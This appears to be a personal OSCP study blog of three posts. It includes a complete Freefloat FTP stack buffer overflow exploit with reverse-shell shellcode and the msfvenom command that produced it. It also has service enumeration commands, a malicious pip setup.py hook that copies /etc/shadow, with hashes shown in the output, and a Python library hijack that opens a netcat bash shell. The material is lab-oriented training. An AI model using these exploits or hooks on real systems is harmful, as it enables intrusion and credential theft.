Follow us on Twitter RSS Freefloat FTP Remote Buffer Overflow 04 Aug August 4, 2018 60 Days of OSCP labs have come and gone. That was fast and honestly, probably not enough time. I made it through the entire PDF and was able to compromise several machines on the OSCP lab network but I might end up purchasing another 15-30 days for Windows priv-esc practice. My exam is scheduled for the beginning of September and in the meantime, I am working on buffer overflows. I think that’s where the next few posts are going to focus on because once you start to understand them, it’s so much damn fun! The rest of this post is going to focus on the Freefloat FTP Remote Buffer Overflow. This is a basic Stack overflow that is about as simple as it gets. In the next post, we will look at SEH overflows. System Information: Victim: Windows XP SP3 running Freefloat FTP Have Immunity Debugger Installed Have the Mona Python Plugin for Immunity Attacker: Kali 2017.2 PWK 32 bit version Continue Reading FTP Fuzzing: As with all the BOF’s that I will be going through, I will be using Python3 as my language of choice. We could manually probe the FTP server but, what’s the fun in that… We want to use python to do most of the legwork for us. We know that the USER parameter is vulnerable but, let’s not assume anything at this time. Let’s actually fuzz the application. Note: When I say Fuzz, I mean send incrementing packets of data to the USER and PASS FTP parameters to see if we overflow and crash the application. User FTP Parameter Fuzzing After we sent 300 Bytes of A’s, the FTP server crashed. Let’s take a look at Immunity to see if we overwrite the EIP register with the A’s that we sent. EIP Overwrite Perfect, EIP is now 41414141 and since 0x41 = A, we have successfully overwritten the EIP register. Observing the Overflow and Controlling EIP: We have overflown the USER FTP parameter and have overwritten the EIP register with 0x41 (A). The next step is to find the offset of the EIP register in order to gain full control of it to obtain code execution. Let’s start building our python script. Let’s first generate a unique string using pattern_create.rb so we can obtain the offset of the EIP register. We know the overflow happened around 300 Bytes so, we will use that as our string length. Generate String with pattern_create.rb Now we will add that string to our Python script: Get EIP Offset Python import socket IP = "192.168.56.130" PORT = 21 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Connect to FTP Server: print("[+] Connecting to FTP Server") s.connect((IP, PORT)) data = s.recv(1024) print(data) # Overflow USER Parameter print("[+] Overflowing USER Paramter") buf = "" buf += """Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9""" s.send("USER " + buf + "\r\n") # Close the connection s.close() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import socket IP = "192.168.56.130" PORT = 21 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Connect to FTP Server: print("[+] Connecting to FTP Server") s.connect((IP, PORT)) data = s.recv(1024) print(data) # Overflow USER Parameter print("[+] Overflowing USER Paramter") buf = "" buf += """Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9""" s.send("USER " + buf + "\r\n") # Close the connection s.close() Restart the FTP server in Immunity and send the new payload. After sending the payload, take a look at the EIP value as that is going to be the value we will use to find out EIP offset. EIP Offset The EIP value is 37684136. We can then feed this into pattern_offset.rb to get our true EIP offset. EIP Offset The EIP offset is 230 which means we now need to check if we, in fact, have full control over the EIP register. We will do this by sending 230 A’s and 4 B’s followed by 500 C’s. This data should overflow the buffer with the A’s, write only B’s to the EIP register, and then write arbitrary C’s after. The C’s are important as they will dictate whether we can use the space after the overflow to add our exploit shellcode. We’ll look at that in a second. Controlling EIP Python import socket IP = "192.168.56.130" PORT = 21 EIP_OFFSET = 230 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Connect to FTP Server: print("[+] Connecting to FTP Server") s.connect((IP, PORT)) data = s.recv(1024) print(data) # Overflow USER Parameter print("[+] Overflowing USER Paramter") buf = "" buf += "A" * EIP_OFFSET buf += "B" * 4 buf += "C" * 500 s.send("USER " + buf + "\r\n") # Close the connection s.close() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import socket IP = "192.168.56.130" PORT = 21 EIP_OFFSET = 230 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Connect to FTP Server: print("[+] Connecting to FTP Server") s.connect((IP, PORT)) data = s.recv(1024) print(data) # Overflow USER Parameter print("[+] Overflowing USER Paramter") buf = "" buf += "A" * EIP_OFFSET buf += "B" * 4 buf += "C" * 500 s.send("USER " + buf + "\r\n") # Close the connection s.close() Again, restart the FTP server in Immunity and send the new payload. Full control of EIP Looking at the value of EIP, we see it’s 0x42 which is B. Awesome! We have full control over EIP. The next thing we want to look at is the number of C’s that were written after we overwrote the EIP register. We can do this very easily with Immunity by double-clicking the first memory address that contains C’s and following the C’s until they terminate. This will give us the Hex value of the total number of C’s within the buffer. In my case, the C’s stop at 0x1F0 which in base 10 is 496. This means we have 496 Bytes of available space to place our exploit. A usual exploit is around 250-350 Bytes so, we have more than enough room. Checking for Bad Characters: Before we can continue, we should check for bad characters. Applications can at times have specific use cases for different characters and as such, we need to check for those bad characters as they may hinder our exploit code from working. The python script now has functionality that creates all the characters, adds them to the buffer overflow payload, and saves the characters to a binary file that will be used by the Python Mona script to look for known bad characters. Note 0x00, 0x0a, and 0x0d are common bad characters so we exclude those from the very beginning. Bad Character Check Python import socket IP = "192.168.56.130" PORT = 21 bad_chars = [0x00, 0x0a, 0x0d] chars = "" EIP_OFFSET = 230 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Connect to FTP Server: print("[+] Connecting to FTP Server") s.connect((IP, PORT)) data = s.recv(1024) print(data) # Generate Characters: for i in range(0x00, 0xFF+1): if i not in bad_chars: chars += chr(i) with open("bad_chars.bin", "wb") as f: f.write(chars) # Overflow USER Parameter print("[+] Overflowing USER Paramter") buf = "" buf += "A" * EIP_OFFSET buf += "B" * 4 buf += "C" * 8 buf += chars s.send("USER " + buf + "\r\n") # Close the connection s.close() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import socket IP = "192.168.56.130" PORT = 21 bad_chars = [0x00, 0x0a, 0x0d] chars = "" EIP_OFFSET = 230 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Connect to FTP Server: print("[+] Connecting to FTP Server") s.connect((IP, PORT)) data = s.recv(1024) print(data) # Generate Characters: for i in range(0x00, 0xFF+1): if i not in bad_chars: chars += chr(i) with open("bad_chars.bin", "wb") as f: f.write(chars) # Overflow USER Parameter print("[+] Overflowing USER Paramter") buf = "" buf += "A" * EIP_OFFSET buf += "B" * 4 buf += "C" * 8 buf += chars s.send("USER " + buf + "\r\n") # Close the connection s.close() The buffer has been overflown and now we can check for the bad characters using the mona script. Bad Character Results The only bad characters found are those we removed from the beginning. We will make sure to exclude those characters when building our shellcode. Finding JMP ESP: Let’s go back to us having control over EIP. Long story short, EIP holds the address of the next instruction to be executed (i.e. Instruction Pointer). That means in order for our shellcode to be executed concurrently with the overflow happening, we need to make damn well sure that the EIP points to the location in memory where our shellcode will be located. This is the tricky part due to multithreading and dynamic memory address allocation meaning memory addresses change all the time! But, we know that we are writing our shellcode directly to the Stack and as long as we can get back to the bottom of the stack (i.e. ESP) our shellcode can execute. Our goal: Find a JMP ESP instruction that has a static address (Commonly in DLL’s), has no bad characters within its memory address, and does not have ASLR or DEP protections. Fortunately for us, Mona makes this a breeze. First, let’s look at the modules that have been loaded for this FTP server and check to see if there are any that are unprotected. Find Modules with Mona Find the Opcode of JMP ESP Find opcode of JMP ESP Search for JMP ESP in the module and record the memory address Find JMP ESP in SHELL32.dll We found that SHELL32.dll module was being used and does not have ASLR protection. We then found the opcode of JMP ESP in order to search for the instruction. We then searched for the JMP ESP instruction within the SHELL32.dll module and found several possible addresses. Remember, we need an address that does not contain bad characters. In this case, I will use the first memory address 0x7cbd51fb. Verify JMP ESP Execution: Before generating shellcode, we should verify that we have successfully changed the execution flow to make the EIP execute the JMP ESP instruction within the SHELL32.dll. We will do this by overwriting EIP with the memory address of the JMP ESP instruction and then, once again, writing C’s thereafter. The difference being, we will place a breakpoint at the JMP ESP memory address to verify that the program pauses and therefore proves we have redirected code execution. Note the memory address 0x7cbd51fb has to be translated into little endian (i.e. Least Significant bit to Most Significant bit). Review this if this is new to you. Place the Breakpoint by selecting memory address and hitting F2. Add Breakpoint Amend the Python script to overwrite EIP with the JMP ESP address. JMP ESP Python import socket IP = "192.168.56.130" PORT = 21 EIP_OFFSET = 230 JMP_ESP = "\xFB\x51\xBD\x7C" # 0x7CBD51FB s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Connect to FTP Server: print("[+] Connecting to FTP Server") s.connect((IP, PORT)) data = s.recv(1024) print(data) # Overflow USER Parameter print("[+] Overflowing USER Paramter") buf = "" buf += "A" * EIP_OFFSET buf += JMP_ESP buf += "C" * 500 s.send("USER " + buf + "\r\n") # Close the connection s.close() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import socket IP = "192.168.56.130" PORT = 21 EIP_OFFSET = 230 JMP_ESP = "\xFB\x51\xBD\x7C" # 0x7CBD51FB s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Connect to FTP Server: print("[+] Connecting to FTP Server") s.connect((IP, PORT)) data = s.recv(1024) print(data) # Overflow USER Parameter print("[+] Overflowing USER Paramter") buf = "" buf += "A" * EIP_OFFSET buf += JMP_ESP buf += "C" * 500 s.send("USER " + buf + "\r\n") # Close the connection s.close() Execute and verify program pause at JMP ESP proving we now have full control. Generating our Exploit Shellcode: The last thing we need to do is generate our shellcode, add it to the Python script, and catch the shell! Generate shellcode with msfvenom (remember to exclude the bad characters 0x00, 0x0a, 0x0d). msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=192.168.56.131 LPORT=443 -b ‘\x00\x0A\x0D’ -f c Generate Shellcode Copy shellcode to Python Script. Final Exploit Python import socket IP = "192.168.56.130" PORT = 21 EIP_OFFSET = 230 JMP_ESP = "\xFB\x51\xBD\x7C" # 0x7CBD51FB SHELLCODE = ("\xba\x2f\x70\xa4\x53\xdb\xdc\xd9\x74\x24\xf4\x5e\x31\xc9\xb1" "\x52\x31\x56\x12\x03\x56\x12\x83\xc1\x8c\x46\xa6\xe1\x85\x05" "\x49\x19\x56\x6a\xc3\xfc\x67\xaa\xb7\x75\xd7\x1a\xb3\xdb\xd4" "\xd1\x91\xcf\x6f\x97\x3d\xe0\xd8\x12\x18\xcf\xd9\x0f\x58\x4e" "\x5a\x52\x8d\xb0\x63\x9d\xc0\xb1\xa4\xc0\x29\xe3\x7d\x8e\x9c" "\x13\x09\xda\x1c\x98\x41\xca\x24\x7d\x11\xed\x05\xd0\x29\xb4" "\x85\xd3\xfe\xcc\x8f\xcb\xe3\xe9\x46\x60\xd7\x86\x58\xa0\x29" "\x66\xf6\x8d\x85\x95\x06\xca\x22\x46\x7d\x22\x51\xfb\x86\xf1" "\x2b\x27\x02\xe1\x8c\xac\xb4\xcd\x2d\x60\x22\x86\x22\xcd\x20" "\xc0\x26\xd0\xe5\x7b\x52\x59\x08\xab\xd2\x19\x2f\x6f\xbe\xfa" "\x4e\x36\x1a\xac\x6f\x28\xc5\x11\xca\x23\xe8\x46\x67\x6e\x65" "\xaa\x4a\x90\x75\xa4\xdd\xe3\x47\x6b\x76\x6b\xe4\xe4\x50\x6c" "\x0b\xdf\x25\xe2\xf2\xe0\x55\x2b\x31\xb4\x05\x43\x90\xb5\xcd" "\x93\x1d\x60\x41\xc3\xb1\xdb\x22\xb3\x71\x8c\xca\xd9\x7d\xf3" "\xeb\xe2\x57\x9c\x86\x19\x30\x63\xfe\x19\x43\x0b\xfd\x59\x42" "\x77\x88\xbf\x2e\x97\xdd\x68\xc7\x0e\x44\xe2\x76\xce\x52\x8f" "\xb9\x44\x51\x70\x77\xad\x1c\x62\xe0\x5d\x6b\xd8\xa7\x62\x41" "\x74\x2b\xf0\x0e\x84\x22\xe9\x98\xd3\x63\xdf\xd0\xb1\x99\x46" "\x4b\xa7\x63\x1e\xb4\x63\xb8\xe3\x3b\x6a\x4d\x5f\x18\x7c\x8b" "\x60\x24\x28\x43\x37\xf2\x86\x25\xe1\xb4\x70\xfc\x5e\x1f\x14" "\x79\xad\xa0\x62\x86\xf8\x56\x8a\x37\x55\x2f\xb5\xf8\x31\xa7" "\xce\xe4\xa1\x48\x05\xad\xd2\x02\x07\x84\x7a\xcb\xd2\x94\xe6" "\xec\x09\xda\x1e\x6f\xbb\xa3\xe4\x6f\xce\xa6\xa1\x37\x23\xdb" "\xba\xdd\x43\x48\xba\xf7") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Connect to FTP Server: print("[+] Connecting to FTP Server") s.connect((IP, PORT)) data = s.recv(1024) print(data) # Overflow USER Parameter print("[+] Overflowing USER Paramter") buf = "" buf += "A" * EIP_OFFSET buf += JMP_ESP buf += "\x90"*20 buf += SHELLCODE s.send("USER " + buf + "\r\n") # Close the connection s.close() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import socket IP = "192.168.56.130" PORT = 21 EIP_OFFSET = 230 JMP_ESP = "\xFB\x51\xBD\x7C" # 0x7CBD51FB SHELLCODE = ("\xba\x2f\x70\xa4\x53\xdb\xdc\xd9\x74\x24\xf4\x5e\x31\xc9\xb1" "\x52\x31\x56\x12\x03\x56\x12\x83\xc1\x8c\x46\xa6\xe1\x85\x05" "\x49\x19\x56\x6a\xc3\xfc\x67\xaa\xb7\x75\xd7\x1a\xb3\xdb\xd4" "\xd1\x91\xcf\x6f\x97\x3d\xe0\xd8\x12\x18\xcf\xd9\x0f\x58\x4e" "\x5a\x52\x8d\xb0\x63\x9d\xc0\xb1\xa4\xc0\x29\xe3\x7d\x8e\x9c" "\x13\x09\xda\x1c\x98\x41\xca\x24\x7d\x11\xed\x05\xd0\x29\xb4" "\x85\xd3\xfe\xcc\x8f\xcb\xe3\xe9\x46\x60\xd7\x86\x58\xa0\x29" "\x66\xf6\x8d\x85\x95\x06\xca\x22\x46\x7d\x22\x51\xfb\x86\xf1" "\x2b\x27\x02\xe1\x8c\xac\xb4\xcd\x2d\x60\x22\x86\x22\xcd\x20" "\xc0\x26\xd0\xe5\x7b\x52\x59\x08\xab\xd2\x19\x2f\x6f\xbe\xfa" "\x4e\x36\x1a\xac\x6f\x28\xc5\x11\xca\x23\xe8\x46\x67\x6e\x65" "\xaa\x4a\x90\x75\xa4\xdd\xe3\x47\x6b\x76\x6b\xe4\xe4\x50\x6c" "\x0b\xdf\x25\xe2\xf2\xe0\x55\x2b\x31\xb4\x05\x43\x90\xb5\xcd" "\x93\x1d\x60\x41\xc3\xb1\xdb\x22\xb3\x71\x8c\xca\xd9\x7d\xf3" "\xeb\xe2\x57\x9c\x86\x19\x30\x63\xfe\x19\x43\x0b\xfd\x59\x42" "\x77\x88\xbf\x2e\x97\xdd\x68\xc7\x0e\x44\xe2\x76\xce\x52\x8f" "\xb9\x44\x51\x70\x77\xad\x1c\x62\xe0\x5d\x6b\xd8\xa7\x62\x41" "\x74\x2b\xf0\x0e\x84\x22\xe9\x98\xd3\x63\xdf\xd0\xb1\x99\x46" "\x4b\xa7\x63\x1e\xb4\x63\xb8\xe3\x3b\x6a\x4d\x5f\x18\x7c\x8b" "\x60\x24\x28\x43\x37\xf2\x86\x25\xe1\xb4\x70\xfc\x5e\x1f\x14" "\x79\xad\xa0\x62\x86\xf8\x56\x8a\x37\x55\x2f\xb5\xf8\x31\xa7" "\xce\xe4\xa1\x48\x05\xad\xd2\x02\x07\x84\x7a\xcb\xd2\x94\xe6" "\xec\x09\xda\x1e\x6f\xbb\xa3\xe4\x6f\xce\xa6\xa1\x37\x23\xdb" "\xba\xdd\x43\x48\xba\xf7") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Connect to FTP Server: print("[+] Connecting to FTP Server") s.connect((IP, PORT)) data = s.recv(1024) print(data) # Overflow USER Parameter print("[+] Overflowing USER Paramter") buf = "" buf += "A" * EIP_OFFSET buf += JMP_ESP buf += "\x90"*20 buf += SHELLCODE s.send("USER " + buf + "\r\n") # Close the connection s.close() Let’s talk about the shellcode for a second (THIS IS IMPORTANT). When we generated the shellcode we had to exclude the bad characters from the payload and that means encoding the payload. In this instance, the payload was encoded with Shikata Ga Nai as can be seen in the image above. This is not a problem however, the process flow is going to be a bit different in that the shellcode has not only our exploit in it, it also has a decoding instruction set to decode our exploit. That decoding needs a bit of extra space at the beginning of the exploit and as such, we pad the payload with 20 NOP bytes (\x90). The \x90’s are ignored and are what is called a NOP sled. The program will run as usual and just ignore the \x90’s. Now, let’s set up a listener and run our exploit. Exploit and Catch Shell 0 Comments/posted in assmebly, buffer overflow, Python, stack overflow, Tutorial, Windows /by Joshua OSCP: Week 1 & 2 18 Jun June 18, 2018 Okay, so I said I would post each week but, work and OSCP have not really allotted me much free time to digest my thoughts and processes a good write-up. Long story short, I started on June 2nd and I just buttoned up my 2nd week. First, I want to address some OSCP specific takeaways then move on to the technical learnings over the last two weeks. Progress to-date: 2/3’s completed with the PDF 2 Boxes Rooted Continue Reading OSCP Non-Technical: I won’t include a non-technical section in each post but, I thought this would be useful as I made some mistakes right off from the get-go that if I would have paid closer attention to, would have saved me a good amount of time. So, this is more of an advise section. Learn from my F-ups. Just read the PDF… Do not jump straight into the labs. I know I know, you’ve done 30+ HTB machines are a pro-hacker/Elite hacker but, this is not HTB. Take the time because OffSec lays everything out so damn perfect for you. The labs are effectively your enumeration of the whole network. Take it a page at a time and don’t just jump into the lab thinking you’re the shit because you’re wrong. Cherrytree: This is how I have been taking notes when doing HTB or Vulnhub boxes. I suggest creating two CherryTree instances (1. Exercise Notes/Takeaways, 2. Lab Machine Notes/write-ups). If you’re like me, you’re going to do all the exercises in order to possibly get the extra points towards the exam. The Cherrytree writeups/notes should serve as a platform you can refer to while writing your formal detailed report for both reports (Exercise/Lab Formal Report, and Final Exam Formal Report). Buffer Overflows: OffSec does a great job in explaining buffer overflows. But, if you’re like me and want to prep before your start date, check this out. This is by far the most comprehensive and detailed buffer overflow practice for a Windows binary I have found. It’s amazing and you should follow @justinsteven on twitter! Dude did a huge service in designing this practice! OSCP Technical: This might be something many of you already know but, there were a lot of takeaways that I feel should be mentioned in regards to service enumeration. For example, after an nmap scan you may see a ton of ports open but, how you do prioritize which services to dig into first? Well, I don’t have an answer for you at this point in time but, the better question that I ask myself if how the hell do I PROPERLY and FULLY enumerate this service? Seriously, more times then not I end up going back to a service I already enumerated only to find the exploit/data I needed was in front of me all this time. So, in order to mitigate some of that frustration, let’s take a high, fast view of basic enumeration I am using today for common services. DNS: DNS Enumeration Shell # Preliminary DNS Check: host sevrosecurity.com host -t ns sevrosecurity.com host -t mx sevrosecurity.com # Zone transfer Checks: host -l sevrosecurity.com ns1.digitalocean.com # Automated checks: dnsenum hackthissite.org dnsrecon -d hackthissite.org # Forward Lookup Brute Force: dnsrecon -d hackthissite.org -t brt 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # Preliminary DNS Check: host sevrosecurity.com host -t ns sevrosecurity.com host -t mx sevrosecurity.com # Zone transfer Checks: host -l sevrosecurity.com ns1.digitalocean.com # Automated checks: dnsenum hackthissite.org dnsrecon -d hackthissite.org # Forward Lookup Brute Force: dnsrecon -d hackthissite.org -t brt SMB/NetBios: SMB/NetBios/RPC Shell # Preliminary Techniques: enum4linux <ip> nbtscan -r <ip> rpcclient <ip> -U "" # Null Session Enumeration: really nice for enumerating users vai RID! smbclient -L //<ip> nmblookup <ip> # RID Cycling: ## Can be done manually with rpcclient and enum4linux often catches the RID users as well. ridenum.py <ip> 50 70000 name_dictionary.txt use auxiliary/scanner/smb/smb_lookupsid 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # Preliminary Techniques: enum4linux <ip> nbtscan -r <ip> rpcclient <ip> -U "" # Null Session Enumeration: really nice for enumerating users vai RID! smbclient -L //<ip> nmblookup <ip> # RID Cycling: ## Can be done manually with rpcclient and enum4linux often catches the RID users as well. ridenum.py <ip> 50 70000 name_dictionary.txt use auxiliary/scanner/smb/smb_lookupsid SNMP: SNMP Enumeration Shell # Find Hosts: nmap -sU --open -p 161 10.10.10.0/24 -oG SNMP_hosts.txt # Use onesixtyone with list of IP's onesixtyone -i SNMP_hosts.txt # Enumeration Windows Users w/ SNMP Walk: snmpwalk -c public -v1 <ip> 1.3.6.1.4.1.77.1.2.25 #Enumerate Running Windows Processes: snmpwalk -c public -v1 <ip> 1.3.6.1.2.1.6.13.1.3 #Enumerate Windows Software/Hotpatches: snmpwalk -c public -v1 <ip> 1.3.6.1.2.1.25.6.3.1.2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # Find Hosts: nmap -sU --open -p 161 10.10.10.0/24 -oG SNMP_hosts.txt # Use onesixtyone with list of IP's onesixtyone -i SNMP_hosts.txt # Enumeration Windows Users w/ SNMP Walk: snmpwalk -c public -v1 <ip> 1.3.6.1.4.1.77.1.2.25 #Enumerate Running Windows Processes: snmpwalk -c public -v1 <ip> 1.3.6.1.2.1.6.13.1.3 #Enumerate Windows Software/Hotpatches: snmpwalk -c public -v1 <ip> 1.3.6.1.2.1.25.6.3.1.2 I know, this is a short list. This is by no means an all-encompassing list. In reality, this will be adapted and changed with more specifics the more I learn and adapt to better processes. However, here is a phenomenal list of enumeration techniques by HighOnCoffee. Obviously, there are a ton of other services as well, and we will touch on those! Not as much information in this post as my other posts but, there is a-lot more to come. I have a TON of tricks and tips that will need to be documented here in several blog posts. More specifically, Windows. I SUCK at windows post-exploitation so, I will document that heavily here. 0 Comments/posted in Python /by Joshua OSCP Preperation 3 29 May May 29, 2018 There were a few awesome tips and tricks I learned over the last week, primarily dealing with Python and sudo access. Full disclosure, I don’t write Python 2. The reason is that Python 3 has been out for 10 years and Python 2’s EOL is in 2020. It’s still important to understand the Python’isms but, I prefer 3. The examples below should work for both Python2 and 3. The topics we’re going to touch on today are: Pip Install – Arbitrary Code Execution Python Library Manipulation Local Code Execution Read More... Pip Arbitrary Code Execution: Okay, the hypothetical situation here is that you have sudo access to pip install as a standard user. This assumes that if sudo requires the user’s password you have it, or that sudo does not require a password at all. The question is, how can we abuse this to obtain information otherwise inaccessible. There’s no way to issue commands via the pip CLI tool itself like other common Linux tools. However, if we put our dev hats on for a bit, we know that python packages are more complex and require a setup of sorts for a proper install. In our case, we can generate our own “Fake” python package using python setuptools along with the command.develop class. First, create a directory for your package. I’m calling mine fake_package. Second, generate setup.py as seen below: Python from setuptools import setup from setuptools.command.develop import develop from setuptools.command.install import install from subprocess import check_call import os class PostDevelopmentCommand(develop): def run(self): os.system("cat /etc/shadow > /home/josh/shadow.txt") os.system("chmod 777 /home/josh/shadow.txt") develop.run(self) setup( name='josh', version='0.4', cmdclass={ 'develop': PostDevelopmentCommand,} ) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from setuptools import setup from setuptools.command.develop import develop from setuptools.command.install import install from subprocess import check_call import os class PostDevelopmentCommand(develop): def run(self): os.system("cat /etc/shadow > /home/josh/shadow.txt") os.system("chmod 777 /home/josh/shadow.txt") develop.run(self) setup( name='josh', version='0.4', cmdclass={ 'develop': PostDevelopmentCommand,} ) This code will reside within a python file called setup.py and is required for any python package as it is one of the first things pip will look for once you run the pip install command. We can then compile the package with the following command: Python Package Python python setup.py sdist bdist_wheel 1 2 3 python setup.py sdist bdist_wheel After the successful build, we can then attempt to install it using sudo pip install: Shell josh@kali:~$ ls fake_package josh@kali:~$ sudo /usr/bin/pip install -e fake_package/ Obtaining file:///home/josh/fake_package Installing collected packages: josh Found existing installation: josh 0.4 Can't uninstall 'josh'. No files were found to uninstall. Running setup.py develop for josh Successfully installed josh josh@kali:~$ ls -l total 8 drwxr-xr-x 5 josh josh 4096 May 29 20:53 fake_package -rwxrwxrwx 1 root root 1757 May 29 21:02 shadow.txt josh@kali:~$ cat shadow.txt root:$6$7NT7AsUX$p7q9WeC2Kr/ueLA4ZTvtzzuQp913xz364PCVkNhlpzdfUtUfAGoKLYtOghUabhOsih/Js4bf.HFEgz/zVlJpF0:17681:0:99999:7::: daemon:*:17557:0:99999:7::: bin:*:17557:0:99999:7::: sys:*:17557:0:99999:7::: sync:*:17557:0:99999:7::: games:*:17557:0:99999:7::: beef-xss:*:17557:0:99999:7::: Debian-snmp:!:17641:0:99999:7::: inetsim:*:17641:0:99999:7::: systemd-coredump:!!:17641:::::: josh:$6$Cg19eEyK$mHOt6miBry/jcf40aES.ReL9.8GNArez.IjAsVvoyY9iSdtfQ1cF2rWJgvITE1aLsQoP0SwNgak/pPs/Div2/1:17681:0:99999:7::: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 josh@kali:~$ ls fake_package josh@kali:~$ sudo /usr/bin/pip install -e fake_package/ Obtaining file:///home/josh/fake_package Installing collected packages: josh Found existing installation: josh 0.4 Can't uninstall 'josh'. No files were found to uninstall. Running setup.py develop for josh Successfully installed josh josh@kali:~$ ls -l total 8 drwxr-xr-x 5 josh josh 4096 May 29 20:53 fake_package -rwxrwxrwx 1 root root 1757 May 29 21:02 shadow.txt josh@kali:~$ cat shadow.txt root:$6$7NT7AsUX$p7q9WeC2Kr/ueLA4ZTvtzzuQp913xz364PCVkNhlpzdfUtUfAGoKLYtOghUabhOsih/Js4bf.HFEgz/zVlJpF0:17681:0:99999:7::: daemon:*:17557:0:99999:7::: bin:*:17557:0:99999:7::: sys:*:17557:0:99999:7::: sync:*:17557:0:99999:7::: games:*:17557:0:99999:7::: beef-xss:*:17557:0:99999:7::: Debian-snmp:!:17641:0:99999:7::: inetsim:*:17641:0:99999:7::: systemd-coredump:!!:17641:::::: josh:$6$Cg19eEyK$mHOt6miBry/jcf40aES.ReL9.8GNArez.IjAsVvoyY9iSdtfQ1cF2rWJgvITE1aLsQoP0SwNgak/pPs/Div2/1:17681:0:99999:7::: We were able to pull the shadow file with no issues. How about a reverse shell? Pip Install Reverse Shell And there we have it. A full root reverse shell via Pip Arbitrary Code Execution. Python Library Manipulation for Local Code Execution: Okay, another fun and hypothetical situation. You have access to a python script and such access requires you to have sudo permissions to the script. You’re unable to edit the script but you can sure as hell execute and read it. Where does this leave you as far as privilege escalation is concerned? Well, to answer that question you need to figure out what is the script doing and how is it doing it. Let’s take a look at an example program I wrote: Python import urllib def hello(): print("Hello Internet") print(urllib.__file__) if __name__ == "__main__": hello() 1 2 3 4 5 6 7 8 9 10 import urllib def hello(): print("Hello Internet") print(urllib.__file__) if __name__ == "__main__": hello() In this simple program, we’ve defined a hello function that does two things. First, it prints Hello Internet and secondly, it prints the path of the urllib python library. Let’s take a look at the script’s output: Python 2: Shell josh@kali:~$ python hello.py Hello Internet /usr/lib/python2.7/urllib.pyc 1 2 3 4 5 josh@kali:~$ python hello.py Hello Internet /usr/lib/python2.7/urllib.pyc Python 3: Shell josh@kali:~$ python3 hello.py Hello Internet /usr/lib/python3.6/urllib/__init__.py 1 2 3 4 5 josh@kali:~$ python3 hello.py Hello Internet /usr/lib/python3.6/urllib/__init__.py The output successfully prints the Hello Internet string and the path of the urllib library. The locations of the library are different subject to the python version, which is to be expected. For more on how Python looks up its libraries, read this awesome post by Lee On Coding. One thing people overlook but, most of us who have programmed Python for a living have experienced, is that Python will look in the current working directory (most times) before running to the default library path. What does this mean? Well, we could possibly load a malicious library by adding in our own “Fake Library” within the current working directory. Let’s take a look at how this all works (Works for both Python2 and Python3). Taking a look at the file permissions. We can see root owns the Python Program and we are unable to edit the file. Looking at our sudo permissions, we can see we have sudo access to the file and any python version to run it. When we run the program with sudo rights we obtain the same information as before: We know the program is importing the urllib library. Let’s see if we can manipulate it by adding our own urllib.py to the current working directory. urllib.py Python import os │ │ os.system("echo EVIL LIBRARY") 1 2 3 4 5 import os │ │ os.system("echo EVIL LIBRARY") And when we run the program again we get the following output: Evil urllib Two things have changed in the output. First, we were able to print a message via an echo system command through our fake urllib.py. Second, the path for the urllib.py has changed to our current working directory. So, what if we wanted to pop a reverse root shell? Easy, we change the script to the following and re-run the python program while we have a netcat lister up and running: Python import os │ │ os.system("nc localhost 1337 -e /bin/bash") 1 2 3 4 5 import os │ │ os.system("nc localhost 1337 -e /bin/bash") run the program and we get a root shell: Root Shell I do have a bunch more that was learned over the last week but that would make this post a bit lengthy. I’ll hold off and maybe do a second post this week regard MySQL one liners for DB enumeration and using wget with 